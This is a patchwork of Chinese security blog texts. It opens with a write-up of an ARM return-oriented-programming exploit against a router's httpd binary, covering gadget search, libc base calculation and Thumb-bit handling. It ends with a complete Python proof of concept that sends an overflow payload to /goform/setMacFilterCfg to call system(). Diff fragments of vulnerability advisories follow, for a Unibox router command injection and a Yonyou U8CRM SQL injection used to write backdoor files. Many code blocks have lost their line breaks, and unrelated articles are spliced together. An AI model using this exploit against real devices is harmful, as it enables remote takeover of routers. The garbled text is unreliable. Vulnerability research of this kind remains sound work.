![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg7V982u4kP7l9UAhmbLSvxO1S41Sf0GljLtUJFwicGHs3iazvc5YJ0r3Q/640?wx_fmt=png&from=appmsg "")
通过上述指令我们可以得知程序开启了NX保护无法直接执行栈中的shellcode我们使用ROP技术来绕过NX。
#### 1. NX保护与ROP技术
- **NX保护No-eXecute**
现代操作系统通过NX保护禁止在栈、堆等内存区域执行代码防止Shellcode直接运行。
- **ROPReturn-Oriented Programming**
通过复用程序中已有的代码片段(**Gadget**
将多个Gadget串联成链实现攻击逻辑。 
- **无需注入代码**
:利用已有指令(如 
pop
, 
mov
, 
blx
)控制程序流。
- **绕过NX**
所有代码均来自合法内存区域如libc
#### 2. ROP攻击核心思路
##### 2.1. 目标
调用 
system("/bin/sh")
 启动交互式Shell。
需解决两个问题:
1. **控制****system****函数地址**
跳转到libc中的 
system
 函数。
1. **传递参数**
:将 
"/bin/sh"
 字符串地址传递给 
r0
 寄存器ARM架构下第一个参数通过 
r0
 传递)。
##### 2.2. 步骤
1. **泄露libc基址**
通过漏洞泄露libc中某个函数 
puts
的运行时地址计算libc基址。
1. **计算****system****地址**
system地址 = libc基址 + system偏移
1. **构造ROP链**
通过Gadget控制 
r0
 和 
pc
,触发 
system
 执行。
#### 3. Gadget作用与寄存器控制
##### 3.1. Gadget解析
**跳转到R3的gadget1_addr**
```
ROPgadget --binary ./lib/libc.so.0 --only "pop"| grep r30x00018298 : pop {r3, pc}
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgGHa4bkt0kM3cia2rqia0U0nNGHbDN58tJIa22aibvlRN9ficXfH1VIRJVw/640?wx_fmt=png&from=appmsg "")
- **0x00018298 : pop {r3, pc}**
- **功能**
:从栈顶弹出两个值,分别存入 
r3
 和 
pc
。( 将 
system
 地址存入 
r3
)
- **用途**
:控制 
r3
 寄存器的值,并直接跳转到 
pc
 指向的地址。
**找到一个可以控制R0的gadget2_addr**
```
ROPgadget --binary ./lib/libc.so.0  | grep "mov r0, sp"0x00040cb8 : mov r0, sp ; blx r3
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKglSYQ7Wm4dOmLuibdWiaS39VpwTic6O9icGGEUGcEKhicWN14tEO9b0Ugdeg/640?wx_fmt=png&from=appmsg "")
- **0x00040cb8 : mov r0, sp ; blx r3**
- **功能**
:将栈指针 
sp
 的值赋给 
r0
,然后跳转到 
r3
 寄存器指向的地址执行。
- **用途**
:用于将栈顶数据(如命令字符串)传递给 
r0
system
 函数的第一个参数)。
##### 3.2. 关键寄存器作用
- **r0**
ARM架构中用于传递函数第一个参数 
system("/bin/sh")
 中的 
"/bin/sh"
 地址)。
- **r3**
:通用寄存器,此处用于暂存 
system
 函数地址。
- **pc**
:程序计数器,指向下一条要执行的指令地址。通过控制 
pc
,可以劫持程序流。
##### 3.3. CPSR的T位
- **作用**
CPSR寄存器的T位Thumb模式标志位决定CPU执行模式 
- **T=0**
执行ARM指令4字节对齐
- **T=1**
执行Thumb指令2字节对齐
- **影响**
 
- 若跳转到Thumb指令 
system
 函数是Thumb模式地址需为奇数 
0xdeadbeef | 1
)。
- 例如:
system
 地址为 
0x5A270
Thumb模式则实际跳转地址应为 
0x5A271
```
p/t $cpsr
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgeGmEbUaGPl2ZmuWjNRoGUSdKJ0iaCHmzKW9yNoBtBBoBlIrGibkEnS7A/640?wx_fmt=png&from=appmsg "")
1100 0000 0000 0000 0000 0000 0010 0000
 从右向左第五组0000即为T位此时是0所以不需要对system地址增加
##### 3.4. system基址计算
计算system函数偏移量
```
readelf -s ./lib/libc.so.0 |grep systemsystem_addr = libc_base + 0x5A270
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgf5kxp2KAEUAMu4PJ4T5o6SpNGia2g1X5kIwrsVCtd8JMROicBqGbku4g/640?wx_fmt=png&from=appmsg "")
##### 3.5. lib基质计算
由于qemu-user模拟(使用qemu启动即为user模拟除此外还有个qemu系统级模拟)不支持vmmap指令打印内存信息官方给出了说明
https://github.com/pwndbg/pwndbg/blob/dev/pwndbg/commands/vmmap.py
所以我们获取puts函数泄露libc运行时的地址、libc.so.0中的puts函数的偏移量从而得到libc基址
libc基址=运行时地址IDA偏移量
由于QEMU+GDB调试时默认关闭了ASLR地址空间随机化所以libc每次加载到内存的基址相同这也是为什么选择libc.so.0文件的原因)。
对正在运行的httpd文件的puts进行断点该地址位于进程内存空间中指向加载到内存中的libc库中的 
puts
 函数 得到运行时地址为0x3fdd1cd4
```
sudo chroot ./ ./qemu -g 1234 ./bin/httpdgdb-multiarchtarget remote :1234file ./bin/httpd b putscontinue
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgs1BE3YoL7MzzptdmF4KkqPnhbwYJticeibBpwlDXichwwWibIIWBkT1Uyg/640?wx_fmt=png&from=appmsg "")
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgMotEujbviaicCtKoMafyBibqicFf94dljFtpZwo9onmHZjzKLib58lmaG5g/640?wx_fmt=png&from=appmsg "")
使用ida打开libc.so.0文件查看puts函数的IDA偏移量为0x35CD4(**相对偏移量**
。该偏移量是静态的与libc基址无关。)
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKg2whuFbvlqfvJeb58VfpxxXval0goFCccMLncYkDRz0eI298SmrvjEg/640?wx_fmt=png&from=appmsg "")
所以 libc基址=运行时地址IDA偏移量=0x3fdd1cd4 - 0x35cd4 = 0x3fd9c000
```
libc_base = 0x3fd9c000
```
##### 3.6. payload流程如下
最终 payload格式为:[offset, gadget1, system_addr, gadget2, cmd]
```
payload =     b'A' * 溢出偏移      # 填充至返回地址前    + p32(gadget1_addr) # pop {r3, pc}    + p32(system_addr)  # 存入 r3    + p32(gadget2_addr) # 跳转到 gadget2    + b"/bin/sh\x00"    # 字符串参数(通过 r0 传递)
```
##### 3.7. 执行流程
1. **覆盖返回地址**
栈溢出后,返回地址被覆盖为 
gadget1
 地址。
1. **执行****gadget1**
 
```
armasm
```
```
pop {r3, pc}  ; r3 = system_addr, pc = gadget2_addr
```
- **执行****gadget2**
 
```
armasm
```
```
mov r0, sp     ; r0 = 当前栈顶(指向 "/bin/sh"blx r3         ; 跳转到 system(r0)
```
- **执行****system("/bin/sh")**
启动Shell。
备注:
一、关于CPSR寄存器的T位问题
1. ARM架构的指令模式特性
- ARM处理器有两种指令集状态ARM32位指令和Thumb16/32位混合指令
- CPSR寄存器的第5位T位控制当前模式
T=0 → ARM模式指令地址对齐到4字节
T=1 → Thumb模式指令地址对齐到2字节
1. 关键机制:
当通过LDR/STACK POP等操作修改PC寄存器时
- PC寄存器写入的地址值最低位LSB会被复制到CPSR的T位
- 实际PC值 = 写入值 & 0xFFFFFFFEARM模式& 0xFFFFFFFCThumb
1. 漏洞利用中的处理:
假设我们想跳转到0x08041234执行Thumb指令
- 必须构造地址为0x08041234 + 1 = 0x08041235
- 当该值被加载到PC时
PC = 0x08041234自动清除LSB
CPSR.T = 1进入Thumb模式
整理后我们的POC为
```
from pwn import *import requestscmd = b"echo PWN!"libc_base = 0x3fd9c000system_addr = libc_base + 0x5A270gadget1_addr = libc_base + 0x18298gadget2_addr = libc_base + 0x40cb8payload = b'a'*176payload+= p32(gadget1_addr) + p32(system_addr) + p32(gadget2_addr) + cmdurl = "http://192.168.50.18/goform/setMacFilterCfg"cookie = {"Cookie":"password=asdasddsada"}data = {"macFilterType": "black", "deviceList": b"\r" + payload}response = requests.post(url, cookies=cookie, data=data)print(response.text)
```
![](https://mmbiz.qpic.cn/mmbiz_png/qXbmFE2wB53zJOPb8XmrzicaHC97PVLKgtDuYmMhFZRLmo3D2Jb0z3m5LxrFNeXaUXjqB2rsiapicjzBCEuiabBDfw/640?wx_fmt=png&from=appmsg "")

View File

@ -1,5 +1,5 @@
# 漏洞预警 | Unibox路由器命令注入漏洞
浅安 浅安安全 2025-05-06 23:50
浅安 浅安安全 2025-05-09 00:00
**0x00 漏洞编号**
- # 暂无
@ -11,7 +11,7 @@
Unibox路由器是一款由Wifisoft公司推出的专为小型场所如咖啡馆、餐厅、小型酒店、培训机构、小办公室和公共Wi-Fi热点等设计的智能接入控制器它集成了全面的计费和带宽管理功能可帮助网络管理员集中管理有线和无线网络具备多种特性和功能能有效避免未经授权的访问并跟踪网络上的实时活动。
![](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SWc1fThDhTG13bAQibnj0lmZapO4XLpKAIAj5Ltz5GB3IPsIsLf0BfFWe0PaOib5JghzktV7pU325xA/640?wx_fmt=png&from=appmsg "")
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SWc1fThDhTG13bAQibnj0lmZapO4XLpKAIAj5Ltz5GB3IPsIsLf0BfFWe0PaOib5JghzktV7pU325xA/640?wx_fmt=png&from=appmsg&tp=webp&wxfrom=5&wx_lazy=1 "")
**0x03 漏洞详情**
@ -22,7 +22,8 @@ Unibox路由器是一款由Wifisoft公司推出的专为小型场所如咖啡
执行任意代码
**简述:**
Unibox路由器的/billing/logout.php接口存在命令注入漏洞未经身份验证的攻击者可以通过该漏洞远程执行任意代码从而控制目标服务器。
Unibox路由器的
/network/checkstatus_ping.php和/authentication/test_userlogin.php接口存在命令注入漏洞未经身份验证的攻击者可以通过该漏洞远程执行任意代码从而控制目标服务器。
**0x04 影响版本**
- Unibox路由器

View File

@ -0,0 +1,43 @@
# 漏洞预警 | 用友U8CRM SQL注入漏洞
浅安 浅安安全 2025-05-09 00:00
**0x00 漏洞编号**
- # 暂无
**0x01 危险等级**
- 高危
**0x02 漏洞概述**
用友U8CRM是一款功能全面、灵活定制的客户关系管理软件能够帮助企业建立健全、改善与客户之间的关系提高客户满意度和获利能力。
![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/7stTqD182SVu3P6aBo1Yk94n6hrnfSbsrCicicVAEYDxVaLIbE9eqnNdW0VVAC3mvYcpXITbq5ZgnfW7A86j7t7g/640?wx_fmt=other&from=appmsg&wxfrom=5&wx_lazy=1&wx_co=1&tp=webp "")
**0x03 漏洞详情**
###
**漏洞类型:**
SQL注入
**影响:**
获取敏感信息
**简述:**
用友U8CRM客户关系管理系统的
/servicequotation/checkselectworksheet.php接口存在SQL注入漏洞未经身份验证的攻击者通过漏洞执行任意SQL语句调用xp_cmdshell写入后门文件执行任意代码从而获取到服务器权限。
**0x04 影响版本**
- 用友U8-CRM
**0x05****POC状态**
- 已公开
****
**0x06****修复建议**
**目前官方已发布漏洞修复版本,建议用户升级到安全版本******
http://www.itusing.com/